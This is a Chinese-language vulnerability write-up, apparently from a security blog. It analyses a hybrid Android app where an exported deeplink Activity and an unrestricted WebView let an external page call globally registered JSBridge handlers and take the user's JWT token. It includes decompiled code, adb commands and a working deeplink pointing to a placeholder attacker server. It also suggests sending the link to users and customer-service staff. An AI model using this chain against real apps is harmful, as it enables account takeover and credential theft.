
0x01 简介混合 App 暗藏高危长链漏洞在授权安全测试中通过反编译审计发现目标 App 导出代理 Activity 存在 Deeplink 参数校验缺陷可绕过路由拦截加载外部恶意 H5 页面。其 JSBridge 敏感能力全局注册完全不校验网页来源恶意页面能够直接调用原生接口读取本地持久 JWT 凭证。如今主流类App几乎无一例外采用原生H5的混合开发架构原生壳负责性能与推送业务页面大量使用WebView技术来显示与承载。攻击者拿到 Token 即可冒充受害者执行业务操作完成会话级账号接管。本文内容仅用于网络安全技术学习与交流所有操作均在授权测试环境下完成。严禁将文中技术用于未授权检测与非法攻击违者责任自负。现在只对常读和星标的才展示大图推送建议大家把渗透安全HackTwo“设为星标”否则可能就看不到了啦末尾可领取挖洞资料/加圈子 #渗透安全HackTwo0x02 正文详情如今就算代码功底一般也可以借助 JADX 搭配 MCP 插件辅助完成代码审计分析。目标为混合架构 Android App。该应用存在 Deeplink 路由与 WebView JSBridge 组合漏洞导出的代理 Activity 无严格参数校验可加载外部恶意 H5 页面。jadx-mcp-server链接https://pan.quark.cn/s/1afc9de1149eApp安装与查壳首先下载app注册账号登录并访问。登录app后可查看该app私有数据目录可以发现FlutterSharedPreferences.xml文件存储用户的凭证信息还有手机号账号个人数据信息等这里数据太多只放了JWTtoken的截图信息。既然存在token信息这里其实可以去第一步想到的就是去分析下apk文件看看有没有文件备份类漏洞或者开启了debug调试类漏洞等等。提取 APK命令如下adb shell pm path com.cdxxxxx.chxxxxadb pull pm path输出的apk路径 ./base.apk首先apk查壳可以发现没有进行加固处理AndroidManifest分析使用jadx反编译apk注意这里如果遇到关键反编译代码文件无法反编译成功因为jadx-GUI默认开启的是“严格模式”遇到反编译失败可以菜单 File → Preferences-Decompilation反编译选项卡-勾选Show inconsistent code点击save即可第一步查看AndroidManifest.xml文件通过查壳发现android:allowBackupfalse说明该apk不允许导出但是很多组件是设置的允许导出但是组件不是这篇文章的重点而且该组件导出的页面也不是修改密码修改个人信息等敏感页面所以相对危害性较低。再查询debuggable是否存在如果不存在说明默认关闭调试功能与allowBackup字段刚好相反如果AndroidManifest.xml文件中没有声明allowBackup则说明允许导出备份文件。不过在这其中发现明文传输配置启用applicationandroid:usesCleartextTraffictrue ...同时导出组件里有一组scheme入口其中最引人注意的是如下配置:activity android:namecom.xxxx.android.lib_architecture.splash.ProxyActivity android:exportedtrue data android:schemesjqxxx android:hosthmas.app/ /activity一个exported的代理Activity自定义scheme这通常就是外部网页/短信/二维码可触发的路由入口WebView与JSBridge静态分析首先通过上述AndroidManifest文件分析可以发现存在scheme的组件包是com.xxxx.android在这包中我们发现WebActivity容器这个com.xxxx.android.comp_webview.WebActivity是一个H5容器Route(path /web/Default) ...... public final class WebActivity extends BaseMvvmActivity { ...... Autowired public String url; // ARouter 注入来源完全由调用方决定其中存在C0函数这段函数用于过滤URL中APP自定义的内部交互参数避免这些内部参数被带到外部链接、或泄露到第三方服务器保证外部链接加载的纯净性。第901行Operators.CONDITION_IF为自定义常量“?”以?拆分传入的路径List listV0 t.v0(oriUrl, new char[]{Operators.CONDITION_IF}, false, 2, 2, null); if (listV0.size() 1) { return oriUrl; }然后遍历所有查询参数过滤内部参数ArrayList arrayList new ArrayList(); for (String str : t.v0((CharSequence) listV0.get(1), new char[]{}, false, 0, 6, null)) { // 每个参数按分割取出参数名key String str2 (String) t.v0(str, new char[]{IOUtils.pad}, false, 2, 2, null).get(0); // 判断参数名是否是预定义的内部参数 switch (str2.hashCode()) { case -2094054512: if (str2.equals(hgWebShareBrief)) { z10 false; break; } else { z10 true; break; } // 其他case逻辑一致... } // 非内部参数加入保留列表 if (z10) { // 打印被过滤掉的内部参数调试用 fc.a.f15118a.c(WebActivity, str); arrayList.add(str); } }最后拼接处理好的参数// 把保留的参数用拼接成新的查询字符串 String strX z.X(arrayList, ContainerUtils.FIELD_DELIMITER, null, null, 0, null, null, 62, null); if (!(strX.length() 0)) { strX null; } // 把URL路径和新的查询参数拼接返回最终结果 String str3 strX ! null ? ((String) listV0.get(0)) Operators.CONDITION_IF strX : null; return str3 null ? (String) listV0.get(0) : str3;C0这段函数是没有任何域名校验的直接return综上初步简单分析/web/Default路由可以加载任意外部 URL地址的。再看它的WebActivity类中的shouldOverrideUrlLoading公共方法主要看532行代码、539行代码检测用户提交的协议如果是yy://桥协议那么就交给父类处理。如果不是HTTP_PROTOCOL、HTTP_PROTOCOL协议就一律全部拦截反之则走到return Boolean.valueOf(z10);直接放行。其中HTTP_PROTOCOL、HTTP_PROTOCOL都是自定以的常量分别为http://、https://if (s.G(str, yy://, false, 2, null)) { return super.shouldOverrideUrlLoading(view, p12); ...... if (!s.G(str, DeviceInfo.HTTP_PROTOCOL, false, 2, null) !s.G(str, DeviceInfo.HTTPS_PROTOCOL, false, 2, null)) { z10 true; } return Boolean.valueOf(z10); }WebView的实现类是com.android.xxxx.webview_java.jsbridge.BridgeWebView该类中做了一定的安全检测其中318行代码关闭了密码自动保存防止WebView存储的网站密码被恶意读取并且关闭了file域的跨域读真正的问题在注入时机BridgeWebView.this.f6265b为WebViewJavascriptBridge.js文件该文件存储在assest目录下public void onPageFinished(WebView webView, String str) throws Throwable { super.onPageFinished(webView, str); BridgeWebView bridgeWebView BridgeWebView.this; if (bridgeWebView.f6265b ! null) { i5.b.e(bridgeWebView.f6273j, webView, BridgeWebView.this.f6265b); }其中377行代码i5.b.e()函数把WebViewJavascriptBridge.js文件全部进行加载JSBridge 通信协议拆解assets里的WebViewJavascriptBridge.js是URL Scheme桥分析一下具体运行逻辑JS 想调原生能力时构造一个message对象如果还需要回包responseCallback就生成一个唯一callbackId并登记到responseCallbacks字典里——相当于留个回执地址message 推进sendMessageQueue队列然后设置一个隐藏iframe的src yy://QUEUE_MESSAGE设置iframe的URL会触发 WebView 的shouldOverrideUrlLoading(shouldOverrideUrlLoading方法前面有讲当检测用户提交的协议如果是yy://桥协议那么就交给父类处理)回调Native 端拦截到yy://开头的scheme就知道队列里有消息了function _doSend(message, responseCallback) { if (responseCallback) { var callbackId cb_ (uniqueId) _ new Date().getTime(); responseCallbacks[callbackId] responseCallback; message.callbackId callbackId; } sendMessageQueue.push(message); messagingIframe.src yy://__QUEUE_MESSAGE__; }Native截获yy://QUEUE_MESSAGE后调用p()通过 loadUrl(javascript:..._fetchQueue()) 让JS把队列内容吐出来q()截获yy://return/_fetchQueue/... 后从URL里取出key_fetchQueue先去Map里查有没有对应登记的回调有继续取 JSON、调bVar.a()分发——查handler注册表、执行原生逻辑、回包给JS。public final void q(String str) { String strC i5.b.c(str); // 取 _fetchQueue g5.b bVar this.f6266c.get(strC); // 必须先有 p() 登记的回调才能继续 String strB i5.b.b(str); // 取队列 JSON if (bVar ! null) { bVar.a(strB); // 进入 dispatch查 handler 注册表、执行、回包 this.f6266c.remove(strC); } }整段代码分析重点为App启动时HogeWebViewInitializer.create()函数把40多个敏感handlergetUserInfo、getRequestHeader、......一次性塞进全局 Maph5.c.b().a()函数里面而WebView收到消息后分发时按message里的handlerName去全局Map查 → 查到就执行 → 完全不关心当前WebView里加载的是哪个网页、哪个域名。如下图183-184行顺着前面HogeWebViewInitializer.create()函数中的敏感handler顺着getUserInfo找到公共方法类wb.a0调用t0函数获取FlutterSharedPreferences.xml文件信息然后取出文件中取出Member-User-Authorization、userTokenKey认证信息上图中2848行调用的gd.a.f15853a正式如下图的其中FlutterSharedPreferences正是开头的FlutterSharedPreferences.xml文件return BaseApplication.INSTANCE.a().getSharedPreferences(FlutterSharedPreferences, 0);通过上述分析静态链闭环任意页面 → callHandler(getUserInfo) → 全局注册表 → s0() → Token进响应回调。Deeplink 路由链分析com.hoge.android.lib_architecture.splash.ProxyActivity是exported的scheme入口其参数处理逻辑攻击者构造链接sjqxx://hmas.app/xxx?link截取link后面传入的URLURL参数没有任何格式校验URLDecoder后原样进入路由系统。public final void s0(Intent intent) throws UnsupportedEncodingException { if (intent null) { return; } String dataString intent.getDataString(); fc.a.f15118a.f(this.TAG, l.m(jerry scheme data : , dataString)); if (dataString ! null) { List listW0 t.w0(dataString, new String[]{link}, false, 0, 6, null); if (listW0.size() 1) { this.schemeUrl (String) listW0.get(1); } }路由会经过拦截器链这里踩了本次分析的第一个坑。最初我构造的link值是内部路由格式hmas://web/Default?url...deeplink 发出后ProxyActivity确实拉起了但WebActivity始终没动静。追进拦截器才发现原因——nb.aDefaultRouteInterceptor开头就是hmas://外部直达被拒当不是hmas://时使用http/https 时是另一个拦截器nb.g进行处理以http://或 https://开头的URL直接走分支流程进行跳转没有任何白名单黑名单限制d()只处理带专用链接普通URL直接false也就是说把link的值直接写成http/https明文URL就能一路穿过 ProxyActivity → 拦截器 →/web/Default→ WebActivity。最终 deeplink 形态sjqx x://hmas.app/message?linkhttp%3A%2F%2F攻击服务器%2Fpoc.html一些代码踩坑绕过桥明明在回调却永远不来WebActivity成功加载了攻击页页面日志打出bridge already there——桥对象存在callAll()已执行无任何JS异常。但收集服务器上只有页面请求没有任何/collect回传不调用init()回包被永久吞掉重读桥JS发现_handleMessageFromNative的receiveMessageQueue初始为 []恒为真只有_dispatchMessageFromNative这里才会触发回调漏洞复现根据上述分析撰写一个html恶意获取token脚本运行在云服务器上。这里如果是为了本地确认漏洞可以直接使用adb调用链接如果真实攻击可以直接发链接以app发给用户或者是生成链接用户使用app二维码扫码。而且聊天框还存在html渲染xss倒是有一定过滤但是链接是能够渲染的可直接发送恶意链接获取客服的token信息。如下图这里使用个人测试账号进行测试直接加载服务器上运行的脚本回显token信息log日志文件也成功接收到用户的token信息0x03 总结这次挖洞算是踩坑踩出经验了本以为找到入口就能一气呵成复现结果卡在 JSBridge 回调问题折腾许久。别看这条利用链看着复杂代码基础一般的师傅借助 JADXMCP 插件也能顺藤摸瓜完成审计。简单来说就是 Deeplink 开门恶意 H5 搭桥JSBridge 没做来源校验直接交出用户登录凭证。拿到 Token 就能接管会话混合 App 的 H5 与原生通信这块稍不留神就容易埋下这种高危大坑喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢